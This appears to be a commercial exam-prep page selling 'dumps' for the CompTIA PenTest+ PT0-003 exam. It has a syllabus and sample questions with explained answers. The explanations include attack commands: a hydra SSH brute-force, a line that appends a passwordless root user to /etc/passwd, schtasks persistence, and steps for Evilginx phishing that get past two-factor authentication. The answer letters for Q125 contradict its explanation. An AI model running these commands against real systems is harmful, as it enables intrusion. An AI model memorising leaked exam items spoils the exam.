CompTIA PT0-003 Questions: Improve Your Exam Preparation [2026]

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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 2	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.

Topic 3	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.
Topic 4	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 5	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Exam PT0-003 Simulator Fee, Reliable PT0-003 Exam Pattern

It is necessary to strictly plan the reasonable allocation of PT0-003 test time in advance. Many students did not pay attention to the strict control of time during normal practice, which led to panic during the process of examination, and even some of them are not able to finish all the questions. If you purchased PT0-003 learning dumps, each of your mock exams is timed automatically by the system. PT0-003 learning dumps provide you with an exam environment that is exactly the same as the actual exam. It forces you to learn how to allocate exam time so that the best level can be achieved in the examination room.

CompTIA PenTest+ Exam Sample Questions (Q125-Q130):

NEW QUESTION # 125
A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. Internet search engines
- B. IP addresses and subdomains
- C. Shodan results
- D. DNS forward and reverse lookups
- E. Zone transfers
- F. Externally facing open ports

Answer: A,B

Explanation:
A: IP addresses and subdomains. This is correct. IP addresses and subdomains are useful information for a penetration tester to identify the scope and range of the company's web presence. IP addresses can reveal the location, network, and service provider of the company's web servers, while subdomains can indicate the different functions and features of the company's website. A penetration tester can use tools like whois, Netcraft, or DNS lookups to find IP addresses and subdomains associated with the company's domain name.
D: Internet search engines. This is correct. Internet search engines are powerful tools for a penetration tester to perform passive information gathering around the company's web presence. Search engines can provide a wealth of information, such as the company's profile, history, news, social media accounts, reviews, products, services, customers, partners, competitors, and more. A penetration tester can use advanced search operators and keywords to narrow down the results and find relevant information. For example, using the site: operator can limit the results to a specific domain or subdomain, while using the intitle: operator can filter the results by the title of the web pages.

NEW QUESTION # 126
Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

Answer: B

Explanation:
Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.
Reference: https://github.com/SecureAuthCorp/impacket

NEW QUESTION # 127
A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

- A. Configure an external domain using a typosquatting technique. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
- B. Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
- C. Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
- D. Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.

Answer: C

Explanation:
To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.
Phishing with Evilginx:
Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.
It uses "phishlets" which are configurations that simulate real login portals.
Typosquatting:
Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.
co instead of example.com).
This technique tricks users into visiting the malicious domain, thinking it's legitimate.
Steps:
Configure an External Domain: Register a typosquatting domain similar to the company's domain.
Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company's mail portal.
Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.
Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and session tokens, effectively bypassing 2FA.
Pentest References:
Phishing: Social engineering technique to deceive users into providing sensitive information.
Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.
OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.
Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

NEW QUESTION # 128
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY
Which of the following best explains the team's objective?

- A. To create persistence in the network
- B. To enumerate current users
- C. To view scheduled processes
- D. To determine the users' permissions

Answer: A

Explanation:
The logs indicate that the penetration testing team's objective was to create persistence in the network.
Log Analysis:
schtasks /query: This command lists all the scheduled tasks on the system. It is often used to understand what tasks are currently scheduled and running. schtasks /CREATE /SC DAILY: This command creates a new scheduled task that runs daily. Creating such a task can be used to ensure that a script or program runs regularly, maintaining a foothold in the system.
Persistence:
Definition: Persistence refers to techniques used to maintain access to a compromised system even after reboots or other interruptions.
Scheduled Tasks: One common method of achieving persistence on Windows systems is by creating scheduled tasks that execute malicious payloads or scripts at regular intervals.

NEW QUESTION # 129
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
Select the appropriate set of commands to escalate privileges.
Identify which remediation steps should be taken.

Answer:

Explanation:
See the Explanation below for complete solution.
Explanation:
The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
* Remove the SUID bit from cp.
* Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
* Nmap Scan Analysis
* Command: nmap -sC -T4 192.168.10.2
* Purpose: This command runs a default script scan with timing template 4 (aggressive).
* Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
* Enumerating Samba Shares
* Command: enum4linux -S 192.168.10.2
* Purpose: To enumerate Samba shares and users.
* Output:
makefile
Copy code
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
* Selecting Exploit Command
* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
* Explanation:
* -l lowpriv: Specifies the username.
* -P 500-worst-passwords.txt: Specifies the password list.
* -t 4: Uses 4 tasks/threads for the attack.
* ssh://192.168.10.2:22: Specifies the SSH service and port.
* Executing the Hydra Command
* Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
* Finding SUID Binaries and Configuration Files
* Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
* Purpose: To find world-writable files.
* Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
* Purpose: To find files with SUID permission.
* Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
* Purpose: To identify users with bash shell access.
* Selecting Privilege Escalation Command
* Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
* Purpose: To create a new root user entry in the passwd file.
* Explanation:
* root2: Username.

* 5ZOYXRFHVZ7OY: Password hash.
* ::0:0: User and group ID (root).
* /root: Home directory.
* /bin/bash: Default shell.
* Executing the Privilege Escalation Command
* Result: Creation of a new root user root2 with a specified password.
* Remediation Steps Post-Exploitation
* Remove SUID Bit from cp:
* Command: chmod u-s /bin/cp
* Purpose: Removing the SUID bit from cp to prevent misuse.
* Make Backup Script Not World-Writable:
* Command: chmod o-w /path/to/backup/script
* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
* Verifying Hydra Attack:
* Run the Hydra command and monitor for successful login attempts.
* Verifying Privilege Escalation:
* After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
* Implementing Remediation:
* Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

NEW QUESTION # 130
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